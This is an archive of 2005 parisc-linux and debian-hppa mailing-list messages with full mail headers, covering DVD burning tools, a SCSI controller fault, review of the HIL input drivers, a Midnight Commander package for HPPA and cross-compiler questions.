X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: aKBrFkpIbXBt/bqHPTQ2ODYqLyUmZUiR
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25096

On Wed, 9 Feb 2005 07:34:57 +0100, Joel Soete <soete.joel@tiscali.be> wrote:
>
> For the deployement of a custom hpux 11.11 we foreseen to build an ignite
> image on a dvd (not sure that could stil stand on a cd as for previous 11.00).
> 
> The question is: what unix tool(s) would you advise me to burn those dvd
> (hpux or linux)?

For linux there are basically three backends:

1. cdrecord-ProDVD / cdrtools
   (non-GPL, ftp://ftp.berlios.de/pub/cdrecord/ProDVD/
   precompiled binaries available for non-commercial use)

2. cdrecord + DVD-patch
   (GPL, http://people.mandrakesoft.com/~warly/files/cdrtools)

3. dvd+-rw-tools / growisofs
   (GPL, http://fy.chalmers.se/~appro/linux/DVD+RW/)


As for GUIs/frontends, the most popular ones are
- k3b (recommended, www.k3b.org)
- xcdroast (www.xcdroast.org)
- nautilus-cd-burner
I can also recommend
- webCDwriter Pro (non-free: http://joerghaeger.de/webCDwriter/pro.html).
if you share DVD writer in your office with other people.

Most of these frontends use/support the dvd+rw-tools package.

Note that UDF (the 'standard' filesystem for DVDs) is still not
very well supported under linux, so most DVD burn apps use
the iso9660 filesystem instead (but that should not matter,
unless you want to burn movie-DVDs).

Greetings,
   Max
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.10-rc1-pa16 still panic on c110 [WAS: [parisc-linux] c110
	panic when try to boot 2.6.10-rc1-pa11?]
Date: Sat, 12 Feb 2005 20:45:20 +0000
Lines: 32
Approved: news@gmane.org
Message-ID: <420E6AE0.7020708@tiscali.be>
References: <41966398.4070303@tiscali.be> <419FAAF4.4030608@tiscali.be>
	<20041121000403.GF11503@colo.lackof.org>
	<41A0BFD2.4020205@tiscali.be>
	<20041121214000.GC1477@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624532 26695 80.91.229.3 (22 Nov 2014 02:48:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:52 +0000 (UTC)
Cc: List Parisc <parisc-linux@parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Feb 2005 20:45:35 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx073) with SMTP; 12 Feb 2005 21:45:35 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 828B07D65B;
	Sat, 12 Feb 2005 13:45:55 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06286-08; Sat, 12 Feb 2005 13:45:55 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8C7297D65E;
	Sat, 12 Feb 2005 13:45:54 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5B15B7D657
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 12 Feb 2005 13:45:51 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06457-01 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 12 Feb 2005 13:45:51 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 011447D653
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 12 Feb 2005 13:45:50 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 3D531495EAC; Sat, 12 Feb 2005 13:45:27 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from spoolo2.tiscali.be (spoolo2.tiscali.be [62.235.13.173])
	by palinux.hppa (Postfix) with ESMTP id C11E4495EAA;
	Sat, 12 Feb 2005 13:45:26 -0700 (MST)
Original-Received: from [83.134.224.226] (helo=[83.134.224.226])
	by spoolo2.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1D046W-0005GB-OA; Sat, 12 Feb 2005 21:43:01 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.5) Gecko/20050105 Debian/1.7.5-1
X-Accept-Language: en
In-Reply-To: <20041121214000.GC1477@colo.lackof.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 2Fw9dkxsTXs976yRbmQ5NzVKRzdyMkNN
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25097

Hello all,

Having far less time to spend to linux :_(, I come back shortly with those investigation:


Grant Grundler wrote:
> On Sun, Nov 21, 2004 at 04:18:26PM +0000, Joel Soete wrote:
> 
>>That works far better: no more panic at boot time :))
> 
> 
> good. I think the other problems you are have are either real HW problems,
> bugs in the driver or bugs in the hard disk firmware.
> You can rule out some of the hard disk firmware bugs by checking for
> newer versions of the firmware either at HP's site (URL
> is in the parisc-linux FAQ) or disk vendor's site.
> 
There are effectively a new fw revision for this disk but only available for hp engineer :-)

But getting back this disk to office, I had the idea to connect this disk to a b180 using the same lasi700 driver and drive exactely 
the same stress test (http://lists.parisc-linux.org/pipermail/parisc-linux/2004-November/025277.html) and no pb occured.

so could it be a hw pb with the scsi ctrlr ncr53c710 (the narrow se)?

Thanks again,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: New HIL drivers
Date: Sun, 13 Feb 2005 01:07:41 +0100
Lines: 72
Approved: news@gmane.org
Message-ID: <200502130107.42267.deller@gmx.de>
References: <200502062245.42392.dtor_core@ameritech.net>
	<20050212191453.GA8952@ucw.cz>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624533 26698 80.91.229.3 (22 Nov 2014 02:48:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:53 +0000 (UTC)
Cc: linux-input@atrey.karlin.mff.cuni.cz,
 Dmitry Torokhov <dtor_core@ameritech.net>,
 parisc-linux@parisc-linux.org
To: Vojtech Pavlik <vojtech@suse.cz>
Original-X-From: - Wed Jul 02 21:28:11 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 Feb 2005 00:08:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx055) with SMTP; 13 Feb 2005 01:08:31 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B3A7C7D676;
	Sat, 12 Feb 2005 17:08:39 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06764-06; Sat, 12 Feb 2005 17:08:39 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CB97E7D66E;
	Sat, 12 Feb 2005 17:08:38 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6C9557D664
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 12 Feb 2005 17:08:34 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06672-06 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 12 Feb 2005 17:08:34 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 091447D661
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 12 Feb 2005 17:08:34 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 7DCCC495EAA; Sat, 12 Feb 2005 17:08:10 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.gmx.net (pop.gmx.de [213.165.64.20])
	by palinux.hppa (Postfix) with SMTP id D5B104953C8
	for <parisc-linux@parisc-linux.org>;
	Sat, 12 Feb 2005 17:08:09 -0700 (MST)
Original-Received: (qmail invoked by alias); 13 Feb 2005 00:08:07 -0000
Original-Received: from pD9FE77D2.dip.t-dialin.net (EHLO p100.helgenet.de)
	(217.254.119.210)
	by mail.gmx.net (mp026) with SMTP; 13 Feb 2005 01:08:07 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.7.92
In-Reply-To: <20050212191453.GA8952@ucw.cz>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: S6g8cfltPTRtvejGPjIwMzIxc2tpZEvR
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25098

- dropped from CC: "Brian S. Julin" <bri@calyx.com> (he is not very active on the HIL drivers any longer)
- added to CC: parisc-linux@parisc-linux.org (main parisc development mailing list)

Hi Vojtech,
Hi Dmitry,

First of all thanks a lot that you added the parisc HIL drivers to the linux-input tree.
Since the main development of the parisc tree happens in CVS at http://cvs.parisc-linux.org/linux-2.6 and since we usually stay in sync with Linus' latest bk tree, not all of the changes of the current linux-input tree are available for us as long as you didn't pushed your changes to him yet.
Additionally, the HIL sources you added are from november last year. Some of the problems have been fixed in the parisc cvs tree in the meantime.

On Saturday 12 February 2005 20:14, Vojtech Pavlik wrote:
> On Sun, Feb 06, 2005 at 10:45:42PM -0500, Dmitry Torokhov wrote:
> > I noticed that several new drivers for HP-PA have been added to the input
> > tree. I looked them over and have some concerns:
> > 
> > - hil_kbd and hil_ptr will not compile because now connect() methods
> >   return error codes, not void. Also, drivers should define ID table,
> >   and MODULE_DEVICE_TABLE, otherwise serio core will not consider them.

Yes, but only in your tree, not in Linus' yet. As soon as you push your tree up, I'll fix the issues and send you the diffs.

> > - there is no more serio->private, please use serio_get/set_drvdata.

Will do.

> > - using del_timer in drivers' exit routines is not safe (del_timer_sync
> >   should be used).

Will do.

> > - as far as I can see there is no need to do tasklet_disable before calling
> >   tasklet_kill.

Ok.

> > - having "return" after BUG() is pointless.
> > 
> > - what exactly the following fragment supposed to do?
> >
> > > static unsigned int hp_sdc_rtc_poll(struct file *file, poll_table *wait)
> > > {
> > >         unsigned long l;
> > > 
> > >         l = 0;
> > >         if (l != 0)
> > >                 return POLLIN | POLLRDNORM;
> > >         return 0;
> > > }

nothing :-)
Please just drop the hp_sdc_rtc.c driver for now - it's not working anyway.
We'll keep it in our parisc tree until it does something useful.

> > - formatting - according to CodingStyle functions' opening braces should
> >   be on the next line.

Will fix.

> I'm CC:ing Helge, who might know more, and tell us, when the issues will
> be fixed.

As soon as you push upstream, I'll fix the issues in our tree and send you the diffs. Would this be OK for you ?

Regards,
Helge

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: SteX <stefano.melchior@fastwebnet.it>
Newsgroups: gmane.linux.ports.parisc
Subject: [mc - Midnight Commander] new release for hppa
Followup-To: gmane.linux.debian.ports.hppa
Date: Sun, 13 Feb 2005 23:24:35 +0100
Lines: 56
Approved: news@gmane.org
Message-ID: <20050213222435.GC8205__44756.3847563744$1416624533$gmane$org@SteX>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed;
  micalg=pgp-sha1;
  protocol="application/pgp-signature";
  boundary="TiqCXmo5T1hvSQQg"
X-Trace: ger.gmane.org 1416624533 26700 80.91.229.3 (22 Nov 2014 02:48:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:53 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: debian-hppa@lists.debian.org
Original-X-From: - Wed Jul 02 21:28:11 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 Feb 2005 22:25:30 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) (146.82.138.6)
  by mx0.gmx.net (mx067) with SMTP; 13 Feb 2005 23:25:30 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 001FC2E7F8; Sun, 13 Feb 2005 16:25:26 -0600 (CST)
Old-Return-Path: <ste@openlabs.it>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from ms004msg.fastwebnet.it (ms004msg.fastwebnet.it [213.140.2.58])
	by murphy.debian.org (Postfix) with ESMTP id BF3E52E7CA
	for <debian-hppa@lists.debian.org>; Sun, 13 Feb 2005 16:25:20 -0600 (CST)
Original-Received: from monteverdi (1.254.0.66) by ms004msg.fastwebnet.it (7.2.052.3)
        id 41FF9642002E943C; Sun, 13 Feb 2005 23:25:19 +0100
Original-Received: by monteverdi (Postfix, from userid 1000)
	id 633F0A6CF; Sun, 13 Feb 2005 23:24:35 +0100 (CET)
Mail-Followup-To: debian-hppa@lists.debian.org,
	parisc-linux@parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.5.6+20040907i
X-Rc-Virus: 2005-01-21_01
X-Rc-Spam: 2005-02-11_01
X-Spam-Checker-Version: SpamAssassin 2.63-lists.debian.org_2005_02_09_01 
	(2004-01-11) on murphy.debian.org
X-Spam-Status: No, hits=0.1 required=4.0 tests=AWL autolearn=no 
	version=2.63-lists.debian.org_2005_02_09_01
Resent-Message-ID: <Zvw0D.A.jCH.WP9DCB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/4169
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
List-Archive: <http://lists.debian.org/debian-hppa/>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Sun, 13 Feb 2005 16:25:26 -0600 (CST)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: 6ak6KhttZDI4v7HGdWY2OGRxemhmY0GV
Status: R
X-Status: N
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25099


--TiqCXmo5T1hvSQQg
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hi all,
I just finished the new pre-release (4.6.0-4.6.1-pre3) mc package for
Debian HPPA. I would like someone to take a look and eventually to give
some suggestion for its improvement.
You can apt-get both source and binary adding the following line in
/etc/apt/sources.list:

deb http://www.openlabs.it/~stex/debian ./
deb-src http://www.openlabs.it/~stex/debian ./

It has also been available for i386 and powerpc.
I would also like to submit a doubt: I used an HP9000/785 (C3k)
workstation for my work. How can I be sure that I compiled it as 32-bit
system binary of 64-bit system binary? If I remember well this C3k is a
64bit workstation, isn't it?

Thank you in advance for your precious help.

Regards

SteX

--=20
GPG key =3D D52DF829   --   Stex   --  <stefano.melchior@openlabs.it>
Keyserver: http://keyserver.kjsl.com - http://www.openlabs.it/~stex
Registered user #324592 on the Linux Counter, http://counter.li.org

--TiqCXmo5T1hvSQQg
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.5 (GNU/Linux)

iQCVAwUBQg/To4lnkxrVLfgpAQK7KwQAtWee2B+v16y74vsxMKtqVsU85QUGqTk7
5boHC2BKyhVhqr8s4+C30L/QkPHRdLwOK5I1ImdMGwyrUxlA+0Fy+Yxvzw13ANlo
bd0mKUWKEOaZgIb2AroduW44Aa1UAY1EpzHvRtqu1LHtDJ+Ygz4fcbxQuM5g5Ugx
M7a/vZmrX94=
=Iw1Q
-----END PGP SIGNATURE-----

--TiqCXmo5T1hvSQQg--


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:36:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [hppa cross compiler]
Date: Mon, 14 Feb 2005 09:45:36 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <20050214084536.EC000365908__30700.0106819489$1416624533$gmane$org@mail.esiee.fr>
References: <20050214074841.GB3123@SteX>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624533 26702 80.91.229.3 (22 Nov 2014 02:48:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:53 +0000 (UTC)
Cc: debian-hppa@lists.debian.org,
 parisc-linux@parisc-linux.org
To: SteX <stefano.melchior@fastwebnet.it>
Original-X-From: - Wed Jul 02 21:28:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Feb 2005 08:45:46 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) (146.82.138.6)
  by mx0.gmx.net (mx040) with SMTP; 14 Feb 2005 09:45:46 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id A073B2E78A; Mon, 14 Feb 2005 02:45:43 -0600 (CST)
Old-Return-Path: <varenet@esiee.fr>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by murphy.debian.org (Postfix) with ESMTP id C27D42E727
	for <debian-hppa@lists.debian.org>; Mon, 14 Feb 2005 02:45:37 -0600 (CST)
Original-Received: from mail.esiee.fr (localhost.esiee.fr [127.0.0.1])
	by mail.esiee.fr (Postfix) with SMTP id 3A46D36590D;
	Mon, 14 Feb 2005 09:45:37 +0100 (CET)
Original-Received: from esiee.fr (localhost.esiee.fr [127.0.0.1])
	by mail.esiee.fr (Postfix) with ESMTP id EC000365908;
	Mon, 14 Feb 2005 09:45:36 +0100 (CET)
User-Agent: IMHO/0.99 (Webmail for Roxen)
In-Reply-To: <20050214074841.GB3123@SteX>
X-Rc-Virus: 2005-01-21_01
X-Rc-Spam: 2005-02-11_01
X-Spam-Checker-Version: SpamAssassin 2.63-lists.debian.org_2005_02_09_01 
	(2004-01-11) on murphy.debian.org
X-Spam-Status: No, hits=-4.9 required=4.0 tests=AWL,LDOSUBSCRIBER 
	autolearn=no version=2.63-lists.debian.org_2005_02_09_01
Resent-Message-ID: <6PJtkC.A.eFB.3UGECB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/4175
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
List-Archive: <http://lists.debian.org/debian-hppa/>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Mon, 14 Feb 2005 02:45:43 -0600 (CST)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: CR8lKkJWZDI4v7HGdWY2OGRxemhmY8Gd
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25100

> Hi all,
> are there any cross compilers for hppa in Debian bundle? what do you
use to
> x-compile from non-hppa to hppa?
> Thank you in advance

apt-cache search is used to look for packages. Alternatively you can
use packages.debian.org. Use toolchain-source to build cross
compilers.

OTOH, looking at the official website would have showed you this:
http://www.parisc-linux.org/software/index.html

Please avoid cross-posting when it's not necessary. debian-hppa is
meant to discuss Debian hppa related matters (userland), parisc-linux
is meant to discuss parisc linux *kernel* stuff.

Thx

Thibaut VARENE
PA/Linux ESIEE Team
http://www.pateam.org/



From - Thu Nov 08 21:36:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: SteX <stefano.melchior@fastwebnet.it>
Newsgroups: gmane.linux.ports.parisc
Subject: [hppa cross compiler]
Followup-To: gmane.linux.debian.ports.hppa
Date: Mon, 14 Feb 2005 08:48:41 +0100
Lines: 45
Approved: news@gmane.org
Message-ID: <20050214074841.GB3123__13789.0902384699$1416624534$gmane$org@SteX>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed;
  micalg=pgp-sha1;
  protocol="application/pgp-signature";
  boundary="/NkBOFFp2J2Af1nK"
X-Trace: ger.gmane.org 1416624534 26706 80.91.229.3 (22 Nov 2014 02:48:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:54 +0000 (UTC)
To: debian-hppa@lists.debian.org,
 parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:28:11 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Feb 2005 07:49:45 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) (146.82.138.6)
  by mx0.gmx.net (mx042) with SMTP; 14 Feb 2005 08:49:45 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 9839C2E665; Mon, 14 Feb 2005 01:49:42 -0600 (CST)
Old-Return-Path: <ste@openlabs.it>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from ms001msg.fastwebnet.it (ms001msg.fastwebnet.it [213.140.2.51])
	by murphy.debian.org (Postfix) with ESMTP id 7B4B02E64D
	for <debian-hppa@lists.debian.org>; Mon, 14 Feb 2005 01:49:32 -0600 (CST)
Original-Received: from monteverdi (83.103.75.227) by ms001msg.fastwebnet.it (7.2.052.3)
        id 41FFB4A2002E5879; Mon, 14 Feb 2005 08:49:28 +0100
Original-Received: by monteverdi (Postfix, from userid 1000)
	id 09BA917FD; Mon, 14 Feb 2005 08:48:41 +0100 (CET)
Mail-Followup-To: debian-hppa@lists.debian.org,
	parisc-linux@parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.5.6+20040907i
X-Rc-Virus: 2005-01-21_01
X-Rc-Spam: 2005-02-11_01
X-Spam-Checker-Version: SpamAssassin 2.63-lists.debian.org_2005_02_09_01 
	(2004-01-11) on murphy.debian.org
X-Spam-Status: No, hits=0.1 required=4.0 tests=AWL autolearn=no 
	version=2.63-lists.debian.org_2005_02_09_01
Resent-Message-ID: <jBKFl.A.w6B.WgFECB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/4172
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
List-Archive: <http://lists.debian.org/debian-hppa/>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Mon, 14 Feb 2005 01:49:42 -0600 (CST)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
